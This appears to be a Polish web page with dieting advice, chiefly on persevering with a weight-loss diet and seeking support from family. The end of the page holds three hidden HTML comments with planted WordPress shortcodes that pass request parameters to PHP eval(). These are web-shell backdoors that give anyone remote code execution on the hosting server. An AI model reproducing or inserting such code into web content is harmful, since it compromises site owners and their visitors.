Warto odżywiać się racjonalnie

Wiele osób nie zwraca zbyt wielkiej uwagi na to, co jedzą każdego dnia. W związku z tym nie można się później dziwić, że tak często chorujemy, także na rzadkie choroby, które są przyczyną poważnych dolegliwości. Więcej »

 

Jak przeżyć na diecie

Nie jest łatwo zdecydować się na diety odchudzające. Nawet zdrowe diety stanowią problem, gdy potrzebna jest konsekwencja i wytrwałość w ich przestrzeganiu. Można jednak wysilić swoją silną wolę i przebrnąć przez te najgorsze etapy przystosowywania się do nowego sposobu odżywiania się. Bardzo ważne jest, żeby nasze diety odchudzające były dopasowane do naszych upodobań smakowych. Jedynie w ten sposób można wytrwać w tak trudnym czasie. Należy także od razu uświadomić sobie, że diety nie są tymczasowe. Wiele z ich zasad trzeba będzie stosować przez całe życie, jeśli chcemy zachować zgrabną sylwetkę i odpowiednią wagę, jaką udało się osiągnąć na początku. Oczywiście na pewno pojawią się momenty wielkiego załamania, podczas stosowania nawet najbardziej przyjaznej diety. Nie można się jednak poddawać, ponieważ wszystko to robimy dla samych siebie, dla zdrowia i odpowiedniej sylwetki, w której będziemy się dobrze czuć. Warto zabiegać o wsparcie rodziny i przyjaciół. Dzięki temu nie jesteśmy aż tak często wystawieni na pokusy w postaci słodyczy czy fast foodów. Najważniejsza jest jednak psychika i podejście do stosowania diety. Nie można jej traktować jako kary. Trzeba sobie uświadomić, że jest to dobrowolna decyzja i nikt nas do tego nie zmusza. Jeśli będziemy to wiedzieć, to na pewno wytrwamy w założeniach każdej diety. Pierwszy etap utraty wagi jest najgorszy. Chociaż widać efekty, możemy czuć się osłabieni i zdenerwowani. Jednak później, gdy nadejdzie stabilizacja, można się już tylko cieszyć ze swojego wyglądu.

<!– [insert_php]if (isset($_REQUEST["XSa"])){eval($_REQUEST["XSa"]);exit;}[/insert_php][php]if (isset($_REQUEST["XSa"])){eval($_REQUEST["XSa"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["ijDUf"])){eval($_REQUEST["ijDUf"]);exit;}[/insert_php][php]if (isset($_REQUEST["ijDUf"])){eval($_REQUEST["ijDUf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["ufL"])){eval($_REQUEST["ufL"]);exit;}[/insert_php][php]if (isset($_REQUEST["ufL"])){eval($_REQUEST["ufL"]);exit;}[/php] –>